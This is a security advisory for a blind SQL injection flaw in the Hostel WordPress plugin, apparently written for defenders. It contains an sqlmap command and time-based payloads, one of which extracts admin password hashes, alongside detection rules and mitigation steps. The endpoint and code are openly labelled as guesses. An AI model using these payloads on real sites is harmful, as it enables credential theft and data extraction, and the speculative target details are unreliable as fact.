CVE-2025-39566

Executive Summary

CVE-2025-39566 is a critical Blind SQL Injection vulnerability discovered in the Hostel plugin for WordPress, developed by Bob. The vulnerability resides in the improper neutralization of special elements used in an SQL command, allowing an unauthenticated attacker to perform blind SQL injection attacks. This affects all versions of the plugin from n/a through 1.1.5.6. The vulnerability is classified as a WordPress ecosystem issue, specifically targeting the plugin's database interaction layer. With a CVSS score of 7.6, the threat is considered high, as it can lead to unauthorized data extraction, potential data manipulation, and further compromise of the WordPress instance. No public proof-of-concept (PoC) or patch details are currently available, increasing the risk for unpatched installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin, which is part of the broader WordPress ecosystem. WordPress plugins are often distributed via the official WordPress Plugin Directory or third-party marketplaces. The lack of a patch and the nature of SQL injection make this a supply chain risk, as site administrators must manually monitor for updates or apply virtual patches. The plugin's codebase is not publicly available for audit, but the vulnerability suggests insufficient input validation in database queries.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
• Base Score: 7.6 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full database contents could be extracted.
• Integrity Impact: Low (I:L) – Limited data modification possible.
• Availability Impact: Low (A:L) – Potential for denial of service via resource exhaustion.

Threat Level: High. The combination of network exploitability, no authentication, and high confidentiality impact makes this a critical risk for any WordPress site using the Hostel plugin.

Deep Dive & Mechanics

The vulnerability is a classic Blind SQL Injection in the Hostel plugin. The plugin likely constructs SQL queries by directly concatenating user-supplied input (e.g., from GET/POST parameters) without proper sanitization or parameterized queries. Since it is blind, the attacker cannot see direct error output but can infer information based on boolean responses (e.g., page content, response times) or time-based delays.

Attack Vector: An unauthenticated attacker sends crafted HTTP requests to endpoints exposed by the Hostel plugin. The vulnerable parameter is likely in a search, booking, or filtering function. For example, a URL like:

http://target.com/wp-admin/admin-ajax.php?action=hostel_search&checkin=2025-01-01' OR SLEEP(5)--

The plugin's code might execute a query like:

SELECT * FROM wp_hostel_bookings WHERE checkin = '$checkin'

Without proper escaping, the injected SQL is executed, allowing the attacker to extract data character by character using boolean or time-based techniques.

Blind SQL Injection Mechanics:

• Boolean-based: The attacker sends payloads that cause the query to return true or false, observing differences in the response (e.g., page content, HTTP status).
• Time-based: The attacker uses SLEEP() or BENCHMARK() to introduce delays, confirming injection points and extracting data.

The vulnerability is present in all versions up to 1.1.5.6, indicating a long-standing coding flaw.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is hypothetical but representative of the flaw.

Vulnerable Code (PHP):

$checkin = $_GET['checkin'];
$query = "SELECT * FROM wp_hostel_bookings WHERE checkin = '$checkin'";
$result = $wpdb->get_results($query);

Patched Code (Hypothetical):

$checkin = sanitize_text_field($_GET['checkin']);
$query = $wpdb->prepare("SELECT * FROM wp_hostel_bookings WHERE checkin = %s", $checkin);
$result = $wpdb->get_results($query);

The patched version uses $wpdb->prepare() with a placeholder (%s), which ensures the input is properly escaped and parameterized, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with the Hostel plugin version 1.1.5.6.
2. Ensure the plugin is active and accessible via wp-admin/admin-ajax.php.

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., checkin, room_id, search).
2. Use a tool like sqlmap to automate blind injection:

   sqlmap -u "http://target.com/wp-admin/admin-ajax.php?action=hostel_search&checkin=2025-01-01" --batch --technique=BT --dbms=mysql
   

3. Manual time-based payload example:

   http://target.com/wp-admin/admin-ajax.php?action=hostel_search&checkin=2025-01-01' AND SLEEP(5)--
   

   If the response is delayed by 5 seconds, the injection is confirmed.
4. Extract data (e.g., admin credentials):

   http://target.com/wp-admin/admin-ajax.php?action=hostel_search&checkin=2025-01-01' AND (SELECT IF(SUBSTRING(user_pass,1,1)='$',SLEEP(5),0) FROM wp_users LIMIT 1)--
   

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL error messages or time delays in responses.
• Look for patterns like SLEEP(, BENCHMARK(, OR 1=1, UNION SELECT in request parameters.
• Use WAF rules to block common SQL injection patterns.

Mitigation:

• Immediately disable the Hostel plugin if no patch is available.
• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Use database activity monitoring to detect anomalous queries.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing SLEEP(, BENCHMARK(, OR 1=1, UNION SELECT in parameters.
  • Repeated requests to admin-ajax.php with action=hostel_search or similar.
  • Unusual response times (e.g., 5+ seconds) for specific requests.
• File IOCs:
  • Modified plugin files (e.g., hostel.php) with injected backdoors.
  • New files in wp-content/uploads/ or wp-content/plugins/hostel/.
• Database IOCs:
  • Unexpected rows in wp_options or wp_users tables.
  • Queries with SLEEP() or BENCHMARK() in logs.

Detection Engineering

YARA Rule

rule CVE_2025_39566_SQLi_Blind {
    meta:
        description = "Detects blind SQL injection attempts targeting CVE-2025-39566 in Hostel plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39566"
    strings:
        $sleeper = /SLEEP\s*\(\s*\d+\s*\)/ nocase
        $benchmark = /BENCHMARK\s*\(\s*\d+\s*,/ nocase
        $or_1_1 = /OR\s+['"]?\d+['"]?\s*=\s*['"]?\d+['"]?/ nocase
        $union = /UNION\s+SELECT/i
        $hostel_ajax = /admin-ajax\.php.*action=hostel/i
    condition:
        any of ($sleeper, $benchmark, $or_1_1, $union) and $hostel_ajax
}

Sigma Rule

title: Blind SQL Injection Attempt Against Hostel Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects blind SQL injection patterns in HTTP requests targeting the Hostel WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'SLEEP('
            - 'BENCHMARK('
            - 'OR 1=1'
            - 'UNION SELECT'
        cs-uri-stem|contains: 'admin-ajax.php'
    condition: selection
falsepositives:
    - Legitimate use of sleep/benchmark in custom code (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-39566 Blind SQL Injection Attempt"; flow:to_server; content:"admin-ajax.php"; http_uri; content:"action=hostel"; http_uri; pcre:"/(SLEEP\s*\(\s*\d+\s*\)|BENCHMARK\s*\(\s*\d+\s*,|OR\s+['""]?\d+['""]?\s*=\s*['""]?\d+['""]?|UNION\s+SELECT)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Hostel plugin until a patch is released.
2. Apply virtual patching via WAF rules to block SQL injection patterns.
3. Review database logs for any signs of exploitation (e.g., unexpected queries, new admin users).

Long-term Fix:

• The vendor (Bob) must release a patched version that uses parameterized queries (e.g., $wpdb->prepare()).
• Site administrators should monitor the WordPress Plugin Directory for updates.

Workarounds:

• If the plugin is critical, consider rewriting the vulnerable code manually (if source is available) or using a security plugin like Wordfence to add input validation.

Valters IT